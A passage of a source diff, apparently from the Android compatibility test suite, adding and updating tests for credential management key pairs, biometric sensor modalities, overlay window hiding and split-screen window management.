+ // Install keypair as credential management app
+ mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES, ALIAS, 0);
+ } finally {
+ // Remove keypair as credential management app
+ assertThat(mDpm.removeKeyPair(/* admin = */ null, ALIAS)).isTrue();
+ removeCredentialManagementApp();
+ }
+ }
+
+ @Postsubmit
+ @Test
+ public void generateKeyPair_isCredentialManagementApp_success() throws Exception {
+ setCredentialManagementApp();
+ try {
+ // Generate keypair as credential management app
+ AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "RSA",
+ buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
+ /* idAttestationFlags = */ 0);
+
+ assertThat(generated).isNotNull();
+ verifySignatureOverData("SHA256withRSA", generated.getKeyPair());
+ } finally {
+ // Remove keypair as credential management app
+ mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+ removeCredentialManagementApp();
+ }
+ }
+
+ @Postsubmit
+ @Test
+ public void setKeyPairCertificate_isCredentialManagementApp_success() throws Exception {
+ setCredentialManagementApp();
+ try {
+ // Generate keypair and aet keypair certificate as credential management app
+ KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(ALIAS,
+ KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY).setDigests(
+ KeyProperties.DIGEST_SHA256).build();
+ AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "EC", spec, 0);
+ List<Certificate> certificates = Arrays.asList(CERTIFICATE);
+ mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS, certificates, false);
+
+ // Make sure certificates can be retrieved from KeyChain
+ Certificate[] fetchedCerts = KeyChain.getCertificateChain(CONTEXT, ALIAS);
+
+ assertThat(generated).isNotNull();
+ assertThat(fetchedCerts).isNotNull();
+ assertThat(fetchedCerts.length).isEqualTo(certificates.size());
+ assertThat(fetchedCerts[0].getEncoded()).isEqualTo(certificates.get(0).getEncoded());
+ } finally {
+ // Remove keypair as credential management app
+ mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+ removeCredentialManagementApp();
+ }
+ }
+
+ @Postsubmit
+ @Test
+ public void choosePrivateKeyAlias_isCredentialManagementApp_aliasSelected() throws Exception {
+ setCredentialManagementApp();
+ try {
+ // Install keypair as credential management app
+ mDpm.installKeyPair(null, PRIVATE_KEY, new Certificate[]{CERTIFICATE}, ALIAS, 0);
+
+ // Start activity that will call KeyChain.choosePrivateKeyAlias to verify the
+ // credential management app is able to select which alias should be used given
+ // an app package name and URI.
+ Intent intent = new Intent();
+ intent.setComponent(new ComponentName(CONTEXT, AppUriAuthenticationActivity.class));
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ CONTEXT.startActivity(intent);
+ String setAlias = (String) CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .withTag("credentialManagementAppAliasFetched").pollOrFail().data();
+ assertThat(setAlias).isEqualTo(ALIAS);
+ } finally {
+ // Remove keypair as credential management app
+ mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+ removeCredentialManagementApp();
+ }
+ }
+
+ // TODO (b/174677062): Move this into infrastructure
+ private void setCredentialManagementApp() throws Exception {
+ UiAutomation mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ mUiAutomation.adoptShellPermissionIdentity(MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION);
+ assertTrue("Unable to set credential management app",
+ KeyChain.setCredentialManagementApp(CONTEXT, PACKAGE_NAME,
+ AUTHENTICATION_POLICY));
+ } finally {
+ mUiAutomation.dropShellPermissionIdentity();
+ }
+
+ setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ true, mUserId);
+ assertTrue("CredentialManagementApp should have app op MANAGE_CREDENTIALS",
+ isCredentialManagementApp());
+ }
+
+ // TODO (b/174677062): Move this into infrastructure
+ private void removeCredentialManagementApp() throws Exception {
+ UiAutomation mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ mUiAutomation.adoptShellPermissionIdentity(MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION);
+ assertTrue("Unable to remove credential management app",
+ KeyChain.removeCredentialManagementApp(CONTEXT));
+ } finally {
+ mUiAutomation.dropShellPermissionIdentity();
+ }
+ setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+ }
+
+ private void setManageCredentialsAppOps(String packageName, boolean allowed, int userId)
+ throws Exception {
+ String command = "appops set --user " + userId + " " + packageName + " " +
+ "MANAGE_CREDENTIALS " + (allowed ? "allow" : "default");
+ SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+ }
+
+ void verifySignature(String algoIdentifier, PublicKey publicKey, byte[] signature)
+ throws Exception {
+ byte[] data = "hello".getBytes();
+ Signature verify = Signature.getInstance(algoIdentifier);
+ verify.initVerify(publicKey);
+ verify.update(data);
+ assertThat(verify.verify(signature)).isTrue();
+ }
+
+ private void verifySignatureOverData(String algoIdentifier, KeyPair keyPair) throws Exception {
+ verifySignature(algoIdentifier, keyPair.getPublic(),
+ signDataWithKey(algoIdentifier, keyPair.getPrivate()));
+ }
+
+ private byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
+ byte[] data = "hello".getBytes();
+ Signature sign = Signature.getInstance(algoIdentifier);
+ sign.initSign(privateKey);
+ sign.update(data);
+ return sign.sign();
+ }
+
+ private static PrivateKey getPrivateKey(final byte[] key, String type) {
+ try {
+ return KeyFactory.getInstance(type).generatePrivate(
+ new PKCS8EncodedKeySpec(key));
+ } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+ throw new AssertionError("Unable to get certificate." + e);
+ }
+ }
+
+ private static Certificate getCertificate(byte[] cert) {
+ try {
+ return CertificateFactory.getInstance("X.509").generateCertificate(
+ new ByteArrayInputStream(cert));
+ } catch (CertificateException e) {
+ throw new AssertionError("Unable to get certificate." + e);
+ }
+ }
+
+ private boolean isCredentialManagementApp() {
+ AppOpsManager appOpsManager = CONTEXT.getSystemService(AppOpsManager.class);
+ return appOpsManager.unsafeCheckOpNoThrow(MANAGE_CREDENTIALS,
+ Binder.getCallingUid(), CONTEXT.getPackageName()) == AppOpsManager.MODE_ALLOWED;
+ }
+
+ private KeyGenParameterSpec buildRsaKeySpec(String alias, boolean useStrongBox) {
+ return new KeyGenParameterSpec.Builder(
+ alias,
+ KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+ .setKeySize(2048)
+ .setDigests(KeyProperties.DIGEST_SHA256)
+ .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PSS,
+ KeyProperties.SIGNATURE_PADDING_RSA_PKCS1)
+ .setIsStrongBoxBacked(useStrongBox)
+ .build();
+ }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
index ddc79c1..49c5291 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
@@ -17,8 +17,8 @@
package android.server.biometrics;
import static android.os.PowerManager.FULL_WAKE_LOCK;
-import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY;
import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_ACTIVITY;
+import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY;
import static android.server.biometrics.SensorStates.SensorState;
import static android.server.biometrics.SensorStates.UserState;
@@ -59,6 +59,7 @@
import androidx.annotation.Nullable;
import com.android.server.biometrics.nano.BiometricServiceStateProto;
+import com.android.server.biometrics.nano.SensorStateProto;
import org.junit.After;
import org.junit.Before;
@@ -240,6 +241,20 @@
}
}
+ @Test
+ public void testPackageManagerAndDumpsysMatch() throws Exception {
+ final BiometricServiceState state = getCurrentState();
+
+ final PackageManager pm = mContext.getPackageManager();
+
+ assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FINGERPRINT),
+ state.mSensorStates.containsModality(SensorStateProto.FINGERPRINT));
+ assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FACE),
+ state.mSensorStates.containsModality(SensorStateProto.FACE));
+ assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_IRIS),
+ state.mSensorStates.containsModality(SensorStateProto.IRIS));
+ }
+
private void enrollForSensor(@NonNull BiometricTestSession session, int sensorId)
throws Exception {
Log.d(TAG, "Enrolling for sensor: " + sensorId);
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java b/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
index dd17615..6887744 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
@@ -43,10 +43,12 @@
public static class SensorState {
private final boolean mIsBusy;
+ private final int mModality;
@NonNull private final SparseArray<UserState> mUserStates;
- public SensorState(boolean isBusy, @NonNull SparseArray<UserState> userStates) {
+ public SensorState(boolean isBusy, int modality, @NonNull SparseArray<UserState> userStates) {
this.mIsBusy = isBusy;
+ this.mModality = modality;
this.mUserStates = userStates;
}
@@ -54,6 +56,10 @@
return mIsBusy;
}
+ public int getModality() {
+ return mModality;
+ }
+
@NonNull public SparseArray<UserState> getUserStates() {
return mUserStates;
}
@@ -77,7 +83,8 @@
userStates.put(userStateProto.userId, new UserState(userStateProto.numEnrolled));
}
- final SensorState sensorState = new SensorState(sensorStateProto.isBusy, userStates);
+ final SensorState sensorState = new SensorState(sensorStateProto.isBusy,
+ sensorStateProto.modality, userStates);
sensorStates.put(sensorStateProto.sensorId, sensorState);
}
@@ -115,6 +122,15 @@
return true;
}
+ public boolean containsModality(int modality) {
+ for (int i = 0; i < sensorStates.size(); i++) {
+ if (sensorStates.valueAt(i).getModality() == modality) {
+ return true;
+ }
+ }
+ return false;
+ }
+
private SensorStates(@NonNull SparseArray<SensorState> sensorStates) {
this.sensorStates = sensorStates;
}
diff --git a/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java b/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
index fb442ce..adac3b6 100644
--- a/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
+++ b/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
@@ -48,7 +48,7 @@
public void setUp() {
final Context context = InstrumentationRegistry.getContext();
mTestIntent = PendingIntent.getActivity(context, 0 /* requestCode */,
- new Intent(), 0 /* flags */);
+ new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
mIcon = Icon.createWithBitmap(Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888));
}
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index b542460..4a59813 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -176,9 +176,15 @@
android:resizeableActivity="true"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
+ <activity android:name="android.server.wm.HideOverlayWindowsTest$SystemWindowActivity"
+ android:process=":swa"
+ android:exported="true"/>
<activity android:name="android.server.wm.HideOverlayWindowsTest$InternalSystemWindowActivity"
android:process=":iswa"
android:exported="true"/>
+ <activity android:name="android.server.wm.HideOverlayWindowsTest$SystemApplicationOverlayActivity"
+ android:process=":saoa"
+ android:exported="true"/>
<activity android:name="android.server.wm.KeyguardLockedTests$ShowImeAfterLockscreenActivity"/>
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 999d23b..d232d33 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -27,7 +27,7 @@
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.HIDE_OVERLAY_WINDOWS"/>
- <application>
+ <application android:debuggable="true">
<activity android:name=".TestActivity"
android:resizeableActivity="true"
android:supportsPictureInPicture="true"
diff --git a/tests/framework/base/windowmanager/app27/AndroidManifest.xml b/tests/framework/base/windowmanager/app27/AndroidManifest.xml
index 66da0e6..47ec0fe 100755
--- a/tests/framework/base/windowmanager/app27/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app27/AndroidManifest.xml
@@ -18,7 +18,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.server.wm.app27">
- <application android:label="App27">
+ <application android:label="App27"
+ android:debuggable="true">
<activity android:name="android.server.wm.app.LaunchingActivity"
android:resizeableActivity="true"
android:supportsPictureInPicture="true"
diff --git a/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
index 0446e1c..54c3d27 100644
--- a/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appAShareUid/AndroidManifest.xml
@@ -19,7 +19,7 @@
package="android.server.wm.shareuid.a"
android:sharedUserId="android.server.wm.shareuid">
- <application>
+ <application android:debuggable="true">
<activity
android:name=".TestActivityWithSameAffinity"
android:exported="true"
diff --git a/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
index 8586006..e7e6dec 100644
--- a/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appBShareUid/AndroidManifest.xml
@@ -19,7 +19,7 @@
package="android.server.wm.shareuid.b"
android:sharedUserId="android.server.wm.shareuid">
- <application>
+ <application android:debuggable="true">
<activity
android:name=".TestActivityWithSameAffinityShareUid"
android:exported="true"
diff --git a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
index 27d613f..c926a97 100644
--- a/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/appSecondUid/AndroidManifest.xml
@@ -18,7 +18,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.server.wm.second">
- <application>
+ <application android:debuggable="true">
<activity
android:name=".EmbeddingActivity"
android:resizeableActivity="true"
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index 0c3fdd5..7d82289 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -835,8 +835,17 @@
// Set initial orientation.
rotationSession.set(orientation);
+ // Launch a fullscreen activity first to make it behind the split-screen tasks (in
+ // WINDOWING_MODE_MULTI_WINDOW) that created below to avoid any other visible activities
+ // (e.g Launcher) affects the rotation tests.
+ // TODO(b/177166639): Making activities behind the splits invisible from TaskOrg.
+ getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY)
+ .setUseInstrumentation()
+ .setWaitForLaunched(true)
+ .execute();
+
// Launch activities that request orientations and check that device doesn't rotate.
- launchActivitiesInSplitScreen(
+ launchActivitiesInLegacySplitScreen(
getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(activity).setMultipleTask(true));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
index 804c416..268b7ae 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
@@ -56,6 +56,8 @@
@Presubmit
public class HideOverlayWindowsTest extends ActivityManagerTestBase {
+ private final static String WINDOW_NAME_EXTRA = "window_name";
+ private final static String SYSTEM_APPLICATION_OVERLAY_EXTRA = "system_application_overlay";
private PongReceiver mPongReceiver;
@Before
@@ -75,12 +77,34 @@
public void testApplicationOverlayHiddenWhenRequested() {
String windowName = "SYSTEM_ALERT_WINDOW";
ComponentName componentName = new ComponentName(
- mContext, HideOverlayWindowsTest.InternalSystemWindowActivity.class);
+ mContext, SystemWindowActivity.class);
SystemUtil.runWithShellPermissionIdentity(() -> {
launchActivity(componentName,
- CliIntentExtra.extraString(InternalSystemWindowActivity.WINDOW_NAME,
- windowName));
+ CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }, Manifest.permission.SYSTEM_ALERT_WINDOW);
+
+ launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+
+ setHideOverlayWindowsAndWaitForPong(true);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+
+ setHideOverlayWindowsAndWaitForPong(false);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }
+
+ @Test
+ public void testSystemApplicationOverlayFlagNoEffectWithoutPermission() {
+ String windowName = "SYSTEM_ALERT_WINDOW";
+ ComponentName componentName = new ComponentName(
+ mContext, SystemWindowActivity.class);
+
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ launchActivity(componentName,
+ CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName),
+ CliIntentExtra.extraBool(SYSTEM_APPLICATION_OVERLAY_EXTRA, true));
mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
}, Manifest.permission.SYSTEM_ALERT_WINDOW);
@@ -98,12 +122,11 @@
public void testInternalSystemApplicationOverlaysNotHidden() {
String windowName = "INTERNAL_SYSTEM_WINDOW";
ComponentName componentName = new ComponentName(
- mContext, HideOverlayWindowsTest.InternalSystemWindowActivity.class);
+ mContext, InternalSystemWindowActivity.class);
SystemUtil.runWithShellPermissionIdentity(() -> {
launchActivity(componentName,
- CliIntentExtra.extraString(InternalSystemWindowActivity.WINDOW_NAME,
- windowName));
+ CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
}, Manifest.permission.INTERNAL_SYSTEM_WINDOW);
@@ -112,6 +135,39 @@
mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
}
+ @Test
+ public void testSystemApplicationOverlaysNotHidden() {
+ String windowName = "SYSTEM_APPLICATION_OVERLAY";
+ ComponentName componentName = new ComponentName(
+ mContext, SystemApplicationOverlayActivity.class);
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ launchActivity(componentName,
+ CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName),
+ CliIntentExtra.extraBool(SYSTEM_APPLICATION_OVERLAY_EXTRA, true));
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }, Manifest.permission.SYSTEM_APPLICATION_OVERLAY);
+
+ launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+ setHideOverlayWindowsAndWaitForPong(true);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }
+
+ @Test
+ public void testSystemApplicationOverlayHiddenWithoutFlag() {
+ String windowName = "SYSTEM_APPLICATION_OVERLAY";
+ ComponentName componentName = new ComponentName(
+ mContext, SystemApplicationOverlayActivity.class);
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ launchActivity(componentName,
+ CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }, Manifest.permission.SYSTEM_APPLICATION_OVERLAY);
+
+ launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+ setHideOverlayWindowsAndWaitForPong(true);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+ }
+
void setHideOverlayWindowsAndWaitForPong(boolean hide) {
Intent intent = new Intent(ACTION);
intent.putExtra(Components.HideOverlayWindowsActivity.SHOULD_HIDE, hide);
@@ -119,16 +175,14 @@
mPongReceiver.waitForPong();
}
- public static class InternalSystemWindowActivity extends Activity {
-
- final static String WINDOW_NAME = "window_name";
+ public static class BaseSystemWindowActivity extends Activity {
TextView mTextView;
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- String windowName = getIntent().getStringExtra(WINDOW_NAME);
+ String windowName = getIntent().getStringExtra(WINDOW_NAME_EXTRA);
final Point size = new Point();
getDisplay().getRealSize(size);
@@ -144,7 +198,11 @@
mTextView.setText(windowName + " type=" + TYPE_APPLICATION_OVERLAY);
mTextView.setBackgroundColor(Color.GREEN);
- getSystemService(WindowManager.class).addView(mTextView, params);
+ if (getIntent().getBooleanExtra(SYSTEM_APPLICATION_OVERLAY_EXTRA, false)) {
+ params.privateFlags |=
+ WindowManager.LayoutParams.SYSTEM_FLAG_SYSTEM_APPLICATION_OVERLAY;
+ }
+ getWindowManager().addView(mTextView, params);
}
@Override
@@ -154,6 +212,14 @@
}
}
+ // These activities are running the same code, but in different processes to ensure that they
+ // each create their own WindowSession, using the correct permissions. If they are run in the
+ // same process WindowSession is cached and might end up not matching the permissions set up
+ // with adoptShellPermissions
+ public static class InternalSystemWindowActivity extends BaseSystemWindowActivity {}
+ public static class SystemApplicationOverlayActivity extends BaseSystemWindowActivity {}
+ public static class SystemWindowActivity extends BaseSystemWindowActivity {}
+
private static class PongReceiver extends BroadcastReceiver {
volatile ConditionVariable mConditionVariable = new ConditionVariable();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
index 7789804..70dfb50 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
@@ -112,10 +112,10 @@
launchActivity(BOTTOM_RIGHT_LAYOUT_ACTIVITY, WINDOWING_MODE_FREEFORM);
resizeActivityTask(BOTTOM_RIGHT_LAYOUT_ACTIVITY, 0, 0, 1, 1);
} else { // stackId == DOCKED_STACK_ID
- launchActivitiesInLegacySplitScreen(
+ launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(BOTTOM_RIGHT_LAYOUT_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- resizePrimarySplitScreen(1, 1, 1, 1);
+ mTaskOrganizer.setRootPrimaryTaskBounds(new Rect(0, 0, 1, 1));
}
getDisplayAndWindowState(BOTTOM_RIGHT_LAYOUT_ACTIVITY, false);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index 1fc975b..9d5b95c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -18,11 +18,11 @@
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.server.wm.WindowManagerState.STATE_RESUMED;
-import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
import static android.server.wm.ComponentNameUtils.getWindowName;
import static android.server.wm.StateLogger.logE;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
import static android.server.wm.WindowManagerState.TRANSIT_TASK_CLOSE;
import static android.server.wm.WindowManagerState.TRANSIT_TASK_OPEN;
import static android.server.wm.app.Components.BOTTOM_ACTIVITY;
@@ -49,11 +49,11 @@
import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.Presubmit;
-import android.server.wm.WindowManagerState.DisplayContent;
-import android.server.wm.WindowManagerState.ActivityTask;
import android.server.wm.CommandSession.ActivityCallback;
import android.server.wm.CommandSession.ActivitySession;
import android.server.wm.CommandSession.SizeInfo;
+import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.DisplayContent;
import org.junit.Before;
import org.junit.Test;
@@ -405,13 +405,13 @@
assumeTrue(supportsSplitScreenMultiWindow());
// Start launching activity into docked stack.
- launchActivitiesInLegacySplitScreen(
+ launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ WINDOWING_MODE_MULTI_WINDOW);
}
/**
@@ -424,13 +424,13 @@
assumeTrue(supportsSplitScreenMultiWindow());
// Setup split-screen.
- launchActivitiesInLegacySplitScreen(
+ launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY));
mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ WINDOWING_MODE_MULTI_WINDOW);
}
/**
@@ -464,6 +464,9 @@
.createDisplay();
if (splitScreen) {
mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+ // Set the secondary split root task as launch root to verify remaining tasks will
+ // be reparented to matching launch root after removed the virtual display.
+ mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
}
// Launch activity on new secondary display.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index d394031..1b0d933 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -486,6 +486,9 @@
.setToSide(true)
.setTargetActivity(VIRTUAL_DISPLAY_ACTIVITY)
.execute();
+ final int secondaryTaskId =
+ mWmState.getTaskByActivity(VIRTUAL_DISPLAY_ACTIVITY).mTaskId;
+ mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
} else {
launchActivity(VIRTUAL_DISPLAY_ACTIVITY);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 1b589f8..cb022df 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -1074,42 +1074,6 @@
}
@Test
- public void testPinnedStackWithDockedStack() throws Exception {
- assumeTrue(supportsSplitScreenMultiWindow());
-
- launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
- waitForEnterPip(PIP_ACTIVITY);
- launchActivitiesInLegacySplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
- .setRandomData(true)
- .setMultipleTask(false)
- );
- mWmState.assertVisibility(PIP_ACTIVITY, true);
- mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
- mWmState.assertVisibility(TEST_ACTIVITY, true);
-
- // Launch the activities again to take focus and make sure nothing is hidden
- launchActivitiesInLegacySplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
- .setRandomData(true)
- .setMultipleTask(false)
- );
- mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
- mWmState.assertVisibility(TEST_ACTIVITY, true);
-
- // Go to recents to make sure that fullscreen stack is invisible
- // Some devices do not support recents or implement it differently (instead of using a
- // separate stack id or as an activity), for those cases the visibility asserts will be
- // ignored
- if (pressAppSwitchButtonAndWaitForRecents()) {
- mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
- mWmState.assertVisibility(TEST_ACTIVITY, false);
- }
- }
-
- @Test
public void testLaunchTaskByComponentMatchMultipleTasks() throws Exception {
// Launch a fullscreen activity which will launch a PiP activity in a new task with the same
// affinity
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 35b06ba..fb1b173 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -57,6 +57,7 @@
import android.view.WindowInsetsAnimation.Callback;
import android.view.WindowInsetsAnimationControlListener;
import android.view.WindowInsetsAnimationController;
+import android.view.WindowInsetsController.OnControllableInsetsChangedListener;
import android.view.animation.AccelerateInterpolator;
import android.view.animation.DecelerateInterpolator;
import android.view.animation.Interpolator;
@@ -72,7 +73,6 @@
import org.junit.After;
import org.junit.Before;
-import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.ErrorCollector;
import org.junit.runner.RunWith;
@@ -81,12 +81,14 @@
import org.junit.runners.Parameterized.Parameters;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Locale;
